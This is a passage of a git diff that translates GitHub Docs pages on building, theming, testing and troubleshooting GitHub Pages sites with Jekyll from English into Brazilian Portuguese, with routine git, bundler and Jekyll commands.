 {% data reusables.pages.test-locally %}
 
-## Adding a theme
+## Adicionar um tema
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-2. Navigate to *_config.yml*.
+2. Navegue até *_config.yml*.
 {% data reusables.repositories.edit-file %}
-4. Add a new line to the file for the theme name.
-   - To use a supported theme, type `theme: THEME-NAME`, replacing _THEME-NAME_ with the name of the theme as shown in the README of the theme's repository. For a list of supported themes, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site.
-   ![Supported theme in config file](/assets/images/help/pages/add-theme-to-config-file.png)
-   - To use any other Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, type `remote_theme: THEME-NAME`, replacing THEME-NAME with the name of the theme as shown in the README of the theme's repository.
-   ![Unsupported theme in config file](/assets/images/help/pages/add-remote-theme-to-config-file.png)
+4. Adicione uma nova linha ao arquivo para o nome do tema.
+   - Para usar um tema compatível, digite `theme: THEME-NAME`, substituindo _THEME-NAME_ pelo nome do tema, conforme mostrado no README do repositório do tema. Para obter uma lista de temas compatíveis, consulte "[Temas compatíveis](https://pages.github.com/themes/)" no site do {% data variables.product.prodname_pages %}. ![Tema compatível no arquivo de configuração](/assets/images/help/pages/add-theme-to-config-file.png)
+   - Para usar qualquer outro tema do Jekyll hospedado em {% data variables.product.prodname_dotcom %}, digite `remote_theme: THEME-NAME`, substituindo THEME-NAME pelo nome do tema, como mostrado no README do repositório do tema. ![Tema não compatível no arquivo de configuração](/assets/images/help/pages/add-remote-theme-to-config-file.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Customizing your theme's CSS
+## Personalizar o CSS do tema
 
 {% data reusables.pages.best-with-supported-themes %}
 
@@ -45,31 +43,31 @@ People with write permissions for a repository can add a theme to a {% data vari
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-1. Create a new file called _/assets/css/style.scss_.
-2. Add the following content to the top of the file:
+1. Crie um novo arquivo chamado _/assets/css/style.scss_.
+2. Adicione o seguinte conteúdo ao topo do arquivo:
   ```scss
   ---
   ---
 
   @import "{{ site.theme }}";
   ```
-3. Add any custom CSS or Sass (including imports) you'd like immediately after the `@import` line.
+3. Adicione o CSS ou Sass personalizado (incluindo importações) que deseja imediatamente após a linha `@import`.
 
-## Customizing your theme's HTML layout
+## Personalizar o layout HTML do tema
 
 {% data reusables.pages.best-with-supported-themes %}
 
 {% data reusables.pages.theme-customization-help %}
 
-1. On {% data variables.product.prodname_dotcom %}, navigate to your theme's source repository. For example, the source repository for Minima is https://github.com/jekyll/minima.
-2. In the *_layouts* folder, navigate to your theme's _default.html_ file.
-3. Copy the contents of the file.
+1. No {% data variables.product.prodname_dotcom %}, navegue até o repositório de origem do tema. Por exemplo, o repositório de origem do Minima é https://github.com/jekyll/minima.
+2. Na pasta *_layouts*, navegue até o arquivo _default.html_ do tema.
+3. Copie o conteúdo do arquivo.
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-6. Create a file called *_layouts/default.html*.
-7. Paste the default layout content you copied earlier.
-8. Customize the layout as you'd like.
+6. Crie um arquivo chamado *_layouts/default.html*.
+7. Cole o conteúdo do layout padrão que você copiou anteriormente.
+8. Personalize o layout como desejado.
 
-## Further reading
+## Leia mais
 
-- "[Creating new files](/articles/creating-new-files)"
+- "[Criar arquivos](/articles/creating-new-files)"
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
index 43c4262281..1c80624a0d 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: Criar um site do GitHub Pages com o Jekyll
+intro: 'É possível usar o Jekyll para criar um site do {% data variables.product.prodname_pages %} em um repositório novo ou existente.'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-jekyll
@@ -13,20 +13,20 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create site with Jekyll
+shortTitle: Criar site com o Jekyll
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Prerequisites
+## Pré-requisitos
 
-Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)."
+Antes de poder usar o Jekyll para criar um site do {% data variables.product.prodname_pages %}, você precisa instalar o Jekyll e o Git. Para obter mais informações, consulte [Instalação](https://jekyllrb.com/docs/installation/) na documentação do Jekyll e "[Configurar o Git](/articles/set-up-git)".
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Creating a repository for your site
+## Criar um repositório para seu site
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -35,72 +35,72 @@ Before you can use Jekyll to create a {% data variables.product.prodname_pages %
 {% data reusables.pages.create-repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
 
-## Creating your site
+## Criar seu site
 
 {% data reusables.pages.must-have-repo-first %}
 
 {% data reusables.pages.private_pages_are_public_warning %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository.
+1. Se você ainda não tem uma cópia do seu repositório, navegue até o local onde deseja armazenar os arquivos de origem do seu site, substituindo _PARENT-FOLDER_ pela pasta que deverá conter a pasta do repositório.
   ```shell
   $ cd <em>PARENT-FOLDER</em>
   ```
-1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository.
+1. Caso você ainda não o tenha feito, inicialize um repositório Git local, substituindo _REPOSITORY-NAME_ pelo nome do seu repositório.
   ```shell
   $ git init <em>REPOSITORY-NAME</em>
   > Initialized empty Git repository in /Users/octocat/my-site/.git/
-  # Creates a new folder on your computer, initialized as a Git repository
+  # Cria uma nova pasta no seu computador, inicializada como um repositório Git
   ```
-  4. Change directories to the repository.
+  4. Altere os diretórios no repositório.
   ```shell
   $ cd <em>REPOSITORY-NAME</em>
-  # Changes the working directory
+  # Altera o diretório de trabalho
   ```
 {% data reusables.pages.decide-publishing-source %}
 {% data reusables.pages.navigate-publishing-source %}
-  For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder.
+  Por exemplo, se você escolheu publicar o seu site a partir da pasta `documentação` no branch-padrão, crie e altere os diretórios na pasta `documentação`.
  ```shell
  $ mkdir docs
- # Creates a new folder called docs
+ # Cria uma nova pasta chamada docs
  $ cd docs
  ```
- If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch.
+ Se você optou por publicar seu site a partir do branch `gh-pages`, crie e faça checkout do branch `gh-pages`.
  ```shell
  $ git checkout --orphan gh-pages
- # Creates a new branch, with no history or contents, called gh-pages and switches to the gh-pages branch
+ # Cria um novo branch, sem histórico ou conteúdo, chamado gh-pages e alterna para o branch gh-pages
  ```
-1. To create a new Jekyll site, use the `jekyll new` command:
+1. Para criar um novo site do Jekyll, use o comando `jekyll new`:
    ```shell
    $ jekyll new --skip-bundle .
-   # Creates a Jekyll site in the current directory
+   # Cria um site do Jekyll no diretório atual
    ```
-1. Open the Gemfile that Jekyll created.
-1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line.
-1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to:
+1. Abra o Gemfile que o Jekyll criou.
+1. Adicione "#" ao início da linha que começa com `gem "jekyll"` para comentar nesta linha.
+1. Adicione o gem `github-pages` editando a linha que começa com `# gem "github-pages"`. Mudar esta linha para:
 
    ```shell
    gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins
    ```
 
-   Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)."
+   Substitua _GITHUB-PAGES-VERSÃO_ pela última versão compatível do gem de `github-pages`. Você pode encontrar esta versão aqui: "[Versões de dependência](https://pages.github.com/versions/)".
 
-   The correct version Jekyll will be installed as a dependency of the `github-pages` gem.
-1. Save and close the Gemfile.
-1. From the command line, run `bundle install`.
-1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory.  For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
+   A versão correta do Jekyll será instalada como uma dependência do gem de `github-pages`.
+1. Salve e feche o Gemfile.
+1. Da linha de comando, execute `bundle install`.
+1. Opcionalmente, faça todas as edições necessárias no arquivo `_config.yml`. Isto é necessário para caminhos relativos quando o repositório é hospedado em um subdiretório.  Para obter mais informações, consulte "[Dividindo uma subpasta em um novo repositório](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
    ```yml
    domain: my-site.github.io       # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com
    url: https://my-site.github.io  # the base hostname and protocol for your site, e.g. http://example.com
    baseurl: /REPOSITORY-NAME/      # place folder name if the site is served in a subfolder
   ```
-1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
-1. Add and commit your work.
+1. Como alternativa, teste seu site localmente. Para obter mais informações, consulte "[Testar seu site do {% data variables.product.prodname_pages %} localmente com o Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)".
+1. Adicione e faça commit do seu trabalho.
 ```shell
 git add .
 git commit -m 'Initial GitHub pages site with Jekyll'
 ```
-1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository.
+1. Adicione o seu repositório em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} como remoto, substituindo {% ifversion ghes or ghae %}_HOSTNAME_ pelo nome de host da sua empresa,{% endif %} _USUÁRIO_ pela conta à qual o repositório pertence{% ifversion ghes or ghae %},{% endif %} e _REPOSITÓRIO_ pelo nome do repositório.
 ```shell
 {% ifversion fpt or ghec %}
 $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
@@ -108,7 +108,7 @@ $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
 $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</em>.git
 {% endif %}
 ```
-1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on.
+1. Faça push no repositório para o {% data variables.product.product_name %}, substituindo _BRANCH_ pelo nome do branch em que você está trabalhando.
    ```shell
    $ git push -u origin <em>BRANCH</em>
    ```
@@ -123,8 +123,8 @@ $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## Próximas etapas
 
-To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)."
+Para adicionar uma nova página ou postagem ao seu site, consulte "[Adicionar conteúdo ao site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)".
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+{% data reusables.pages.add-jekyll-theme %} Para obter mais informações, consulte "[Adicionar um tema ao site do {% data variables.product.prodname_pages %} usando o Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)".
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
index 19c92d48da..fab3eceb1e 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll, a popular static site generator, to further customize your {% data variables.product.prodname_pages %} site.'
+title: Configurar um site do GitHub Pages com o Jekyll
+intro: 'Você pode usar o Jekyll, um popular gerador de site estático, para personalizar ainda mais o site do {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/using-jekyll-with-pages
   - /articles/using-jekyll-as-a-static-site-generator-with-github-pages
@@ -23,6 +23,6 @@ children:
   - /adding-a-theme-to-your-github-pages-site-using-jekyll
   - /about-jekyll-build-errors-for-github-pages-sites
   - /troubleshooting-jekyll-build-errors-for-github-pages-sites
-shortTitle: Set up site with Jekyll
+shortTitle: Configurar site com o Jekyll
 ---
 
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
index baf0068f4c..3528978c80 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Setting a Markdown processor for your GitHub Pages site using Jekyll
-intro: 'You can choose a Markdown processor to determine how Markdown is rendered on your {% data variables.product.prodname_pages %} site.'
+title: Definir um processador markdown para seu site do GitHub Pages usando o Jekyll
+intro: 'Você pode escolher um processador markdown para determinar como o markdown é renderizado no site do {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/migrating-your-pages-site-from-maruku
   - /articles/updating-your-markdown-processor-to-kramdown
@@ -14,26 +14,25 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Set Markdown processor
+shortTitle: Definir processador de Markdown
 ---
 
-People with write permissions for a repository can set the Markdown processor for a {% data variables.product.prodname_pages %} site.
+Pessoas com permissões de gravação para um repositório podem definir um processador markdown para um site do {% data variables.product.prodname_pages %}.
 
-{% data variables.product.prodname_pages %} supports two Markdown processors: [kramdown](http://kramdown.gettalong.org/) and {% data variables.product.prodname_dotcom %}'s own Markdown processor, which is used to render [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) throughout {% data variables.product.product_name %}. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)."
+{% data variables.product.prodname_pages %} é compatível com dois processadores de Markdown: [kramdown](http://kramdown.gettalong.org/) e o próprio processador do Markdown de {% data variables.product.prodname_dotcom %}, que é usado para interpretar o [ Markdown enriquecido (GMF) de {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/) em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Sobre gravação e formatação no {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github)".
 
-You can use {% data variables.product.prodname_dotcom %} Flavored Markdown with either processor, but only our GFM processor will always match the results you see on {% data variables.product.product_name %}.
+Você pode usar o Markdown enriquecido de {% data variables.product.prodname_dotcom %} com qualquer um dos processadores, mas apenas o nosso processador de GFM sempre corresponderá aos resultados que você vê em {% data variables.product.product_name %}.
 
 {% data reusables.pages.navigate-site-repo %}
-2. In your repository, browse to the *_config.yml* file.
+2. No repositório, navegue até o arquivo *_config.yml*.
 {% data reusables.repositories.edit-file %}
-4. Find the line that starts with `markdown:` and change the value to `kramdown` or `GFM`.
-  ![Markdown setting in config.yml](/assets/images/help/pages/config-markdown-value.png)
+4. Localize a linha que começa com `markdown:` e altere o valor para `kramdown` ou `GFM`. ![Configuração do markdown em config.yml](/assets/images/help/pages/config-markdown-value.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_new_file %}
 
-## Further reading
+## Leia mais
 
-- [kramdown Documentation](https://kramdown.gettalong.org/documentation.html)
-- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
+- [Documentação do kramdown](https://kramdown.gettalong.org/documentation.html)
+- [Especificações de markdown em estilo {% data variables.product.prodname_dotcom %}](https://github.github.com/gfm/)
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
index 0468b92cc8..f1928a2f18 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your GitHub Pages site locally with Jekyll
-intro: 'You can build your {% data variables.product.prodname_pages %} site locally to preview and test changes to your site.'
+title: Testar o site do GitHub Pages localmente com o Jekyll
+intro: 'Você pode criar o site do {% data variables.product.prodname_pages %} localmente para visualizar e testar as alterações nele.'
 redirect_from:
   - /articles/setting-up-your-pages-site-locally-with-jekyll
   - /articles/setting-up-your-github-pages-site-locally-with-jekyll
@@ -14,27 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Test site locally with Jekyll
+shortTitle: Testar o site localmente com o Jekyll
 ---
 
-Anyone with read permissions for a repository can test a {% data variables.product.prodname_pages %} site locally.
+Qualquer pessoa com permissões de leitura para um repositório pode testar um site do {% data variables.product.prodname_pages %} localmente.
 
-## Prerequisites
+## Pré-requisitos
 
-Before you can use Jekyll to test a site, you must:
-  - Install [Jekyll](https://jekyllrb.com/docs/installation/).
-  - Create a Jekyll site. For more information, see "[Creating a {% data variables.product.prodname_pages %} site with Jekyll](/articles/creating-a-github-pages-site-with-jekyll)."
+Antes de usar o Jekyll para testar um site, você deve:
+  - Instalar o [Jekyll](https://jekyllrb.com/docs/installation/).
+  - Criar um site do Jekyll. Para obter mais informações, consulte "[Criar um site do {% data variables.product.prodname_pages %} com o Jekyll](/articles/creating-a-github-pages-site-with-jekyll)".
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Building your site locally
+## Criar site localmente
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.pages.navigate-publishing-source %}
-3. Run `bundle install`.
-3. Run your Jekyll site locally.
+3. Execute a `instalação do bundle`.
+3. Execute o site do Jekyll localmente.
   ```shell
   $ bundle exec jekyll serve
   > Configuration file: /Users/octocat/my-site/_config.yml
@@ -48,17 +48,17 @@ Before you can use Jekyll to test a site, you must:
   >    Server address: http://127.0.0.1:4000/
   >  Server running... press ctrl-c to stop.
   ```
-3. To preview your site, in your web browser, navigate to `http://localhost:4000`.
+3. Para visualizar o site, navegue para `http://localhost:4000` no navegador da web.
 
-## Updating the {% data variables.product.prodname_pages %} gem
+## Atualizar o gem do {% data variables.product.prodname_pages %}
 
-Jekyll is an active open source project that is updated frequently. If the `github-pages` gem on your computer is out of date with the `github-pages` gem on the {% data variables.product.prodname_pages %} server, your site may look different when built locally than when published on {% data variables.product.product_name %}. To avoid this, regularly update the `github-pages` gem on your computer.
+O Jekyll é um projeto ativo de código aberto que é atualizado com frequência. Se o gem `github-pages` no seu computador estiver desatualizado em relação ao gem `github-pages` no servidor do {% data variables.product.prodname_pages %}, seu site poderá ter uma aparência diferente da criada localmente quando for publicado no {% data variables.product.product_name %}. Para evitar isso, atualize regularmente o gem `github-pages` no seu computador.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Update the `github-pages` gem.
-    - If you installed Bundler, run `bundle update github-pages`.
-    - If you don't have Bundler installed, run `gem update github-pages`.
+2. Atualize o gem `github-pages`.
+    - Se você instalou o bundler, execute `bundle update github-pages`.
+    - Se não tiver o bundler instalado, execute `gem update github-pages`.
 
-## Further reading
+## Leia mais
 
-- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) in the Jekyll documentation
+- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) na documentação do Jekyll
diff --git a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
index 6f54aa966b..7884ca42fb 100644
--- a/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
+++ b/translations/pt-BR/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting Jekyll build errors for GitHub Pages sites
-intro: 'You can use Jekyll build error messages to troubleshoot problems with your {% data variables.product.prodname_pages %} site.'
+title: Solucionar problemas de erros de criação do Jekyll para sites do GitHub Pages
+intro: 'Você pode usar mensagens de erro de criação do Jekyll para solucionar problemas com seu site do {% data variables.product.prodname_pages %}.'
 redirect_from:
   - /articles/page-build-failed-missing-docs-folder
   - /articles/page-build-failed-invalid-submodule
@@ -33,161 +33,161 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Troubleshoot Jekyll errors
+shortTitle: Solucionar erros do Jekyll
 ---
 
-## Troubleshooting build errors
+## Solucionar problemas de erros de criação
 
-If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you can use error messages to troubleshoot. For more information about error messages and how to view them, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
+Se o Jekyll encontrar um erro ao criar seu site do {% data variables.product.prodname_pages %} localmente ou no {% data variables.product.product_name %}, você poderá usar mensagens de erro para solucionar problemas. Para obter mais informações sobre mensagens de erro e como visualizá-las, consulte "[Sobre erros de criação do Jekyll para sites do {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites)".
 
-If you received a generic error message, check for common issues.
-- You're using unsupported plugins. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll#plugins)."{% ifversion fpt or ghec %}
-- Your repository has exceeded our repository size limits. For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota)"{% endif %}
-- You changed the `source` setting in your *_config.yml* file. {% data variables.product.prodname_pages %} overrides this setting during the build process.
-- A filename in your publishing source contains a colon (`:`) which is not supported.
+Se você recebeu uma mensagem de erro genérica, verifique os problemas comuns.
+- Você está usando plugins incompatíveis. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_pages %} e o Jekyll](/articles/about-github-pages-and-jekyll#plugins)".{% ifversion fpt or ghec %}
+- Seu repositório excedeu os limites de tamanho. Para obter mais informações, consulte "[Qual é a minha quota de disco?](/articles/what-is-my-disk-quota)"{% endif %}
+- Você alterou a configuração `source` no arquivo *_config.yml*. {% data variables.product.prodname_pages %} substitui essa configuração durante o processo de criação.
+- Um nome de arquivo na fonte de publicação contém dois pontos (`:`), o que não é permitido.
 
-If you received a specific error message, review the troubleshooting information for the error message below.
+Se você recebeu uma mensagem de erro específica, revise abaixo as informações de solução de problemas relativas à mensagem de erro.
 
-After you've fixed any errors, push the changes to your site's publishing source to trigger another build on {% data variables.product.product_name %}.
+Depois que tiver corrigido os possíveis erros, faça push das alterações para a fonte de publicação do seu site para ativar outra criação no {% data variables.product.product_name %}.
 
-## Config file error
+## Erro no arquivo de configuração
 
-This error means that your site failed to build because the *_config.yml* file contains syntax errors.
+Este erro significa que ocorreu falha na criação do seu site porque o arquivo *_config.yml* contém erros de sintaxe.
 
-To troubleshoot, make sure that your *_config.yml* file follows these rules:
+Para solucionar problemas, verifique se o arquivo *_config.yml* segue estas regras:
 
 {% data reusables.pages.yaml-rules %}
 
 {% data reusables.pages.yaml-linter %}
 
-## Date is not a valid datetime
+## Esta é uma data/hora inválida
 
-This error means that one of the pages on your site includes an invalid datetime.
+Este erro significa que uma das páginas do seu site inclui uma data/hora inválida.
 
-To troubleshoot, search the file in the error message and the file's layouts for calls to any date-related Liquid filters. Make sure that any variables passed into date-related Liquid filters have values in all cases and never pass `nil` or `""`. For more information, see "[Liquid filters](https://help.shopify.com/en/themes/liquid/filters)" in the Liquid documentation.
+Para solucionar problemas, pesquise o arquivo na mensagem de erro e os layouts do arquivo para as exigências de qualquer filtro de data do Liquid. Verifique se alguma variável passada em filtros de data do Liquid tem valores em todos os casos e nunca passa `nil` ou `""`. Para obter mais informações, consulte "[Filtros do Liquid](https://help.shopify.com/en/themes/liquid/filters)" na documentação do Liquid.
 
-## File does not exist in includes directory
+## O arquivo não existe no diretório includes
 
-This error means that your code references a file that doesn't exist in your *_includes* directory.
+Este erro significa que o código faz referência a um arquivo que não existe no diretório *_includes*.
 
-{% data reusables.pages.search-for-includes %} If any of the files you've referenced aren't in the *_includes* directory, copy or move the files into the *_includes* directory.
+{% data reusables.pages.search-for-includes %} Se algum dos arquivos a que você fez referência não estiver no diretório *_includes*, copie ou mova os arquivos para o diretório *_includes*.
 
-## File is a symlink
+## O arquivo é um link simbólico
 
-This error means that your code references a symlinked file that does not exist in the publishing source for your site.
+Este erro significa que o código faz referência a um arquivo com link simbólico que não existe na fonte de publicação do seu site.
 
-{% data reusables.pages.search-for-includes %} If any of the files you've referenced are symlinked, copy or move the files into the *_includes* directory.
+{% data reusables.pages.search-for-includes %} Se algum dos arquivos a que você fez referência for com link simbólico, copie ou mova os arquivos para o diretório *_includes*.
 
-## File is not properly UTF-8 encoded
+## Arquivo codificado por UTF-8 incorretamente
 
-This error means that you used non-Latin characters, like `日本語`, without telling the computer to expect these symbols.
+Este erro significa que você usou caracteres não latinos, como `日本語`, sem avisar ao computador que esperava esses símbolos.
 
-To troubleshoot, force UTF-8 encoding by adding the following line to your *_config.yml* file:
+Para solucionar problemas, force a codificação UTF-8 adicionando a seguinte linha ao arquivo *_config.yml*:
 ```yaml
 encoding: UTF-8
 ```
 
-## Invalid highlighter language
+## Linguagem inválida do realçador
 
-This error means that you specified any syntax highlighter other than [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/) in your configuration file.
+Este erro significa que você especificou algum realçador de sintaxe diferente de [Rouge](https://github.com/jneen/rouge) ou [Pygments](http://pygments.org/) no arquivo de configuração.
 
-To troubleshoot, update your *_config.yml* file to specify [Rouge](https://github.com/jneen/rouge) or [Pygments](http://pygments.org/). For more information, see "[About {% data variables.product.product_name %} and Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting)."
+Para solucionar problemas, atualize o arquivo *_config.yml* para especificar [Rouge](https://github.com/jneen/rouge) ou [Pigmentos](http://pygments.org/). Para obter mais informações, consulte "[Sobre o {% data variables.product.product_name %} e o Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting)".
 
-## Invalid post date
+## Data de postagem inválida
 
-This error means that a post on your site contains an invalid date in the filename or YAML front matter.
+Este erro significa que uma postagem no seu site contém uma data inválida no nome de arquivo ou na página inicial YAML.
 
-To troubleshoot, make sure all dates are formatted as YYYY-MM-DD HH:MM:SS for UTC and are actual calendar dates. To specify a time zone with an offset from UTC, use the format YYYY-MM-DD HH:MM:SS +/-TTTT, like `2014-04-18 11:30:00 +0800`.
+Para solucionar problemas, verifique se todas as datas estão no formato YYYY-MM-DD HH:MM:SS para UTC e se são datas reais do calendário. Para especificar um fuso horário com um intervalo de tempo UTC, use o formato YYYY-MM-DD HH:MM:SS +/-TTTT (ano-mês-dia horas:minutos:segundos +/-TTTT), como `2014-04-18 11:30:00 +0800`.
 
-If you specify a date format in your *_config.yml* file, make sure the format is correct.
+Se você especificar um formato de data no arquivo *_config.yml*, verifique se o formato está correto.
 
-## Invalid Sass or SCSS
+## SCSS ou Sass inválido
 
-This error means your repository contains a Sass or SCSS file with invalid content.
+Este erro significa que seu repositório contém um arquivo Sass ou SCSS com conteúdo inválido.
 
-To troubleshoot, review the line number included in the error message for invalid Sass or SCSS. To help prevent future errors, install a Sass or SCSS linter for your favorite text editor.
+Para solucionar problemas, revise o número de linha incluído na mensagem de erro referente a Sass ou SCSS inválido. Para ajudar a prevenir erros no futuro, instale um linter Sass ou SCSS para seu editor de texto favorito.
 
-## Invalid submodule
+## Submódulo inválido
 
-This error means that your repository includes a submodule that hasn't been properly initialized.
+Este erro significa que seu repositório inclui um submódulo que não foi inicializado corretamente.
 
 {% data reusables.pages.remove-submodule %}
 
-If do you want to use the submodule, make sure you use `https://` when referencing the submodule (not `http://`) and that the submodule is in a public repository.
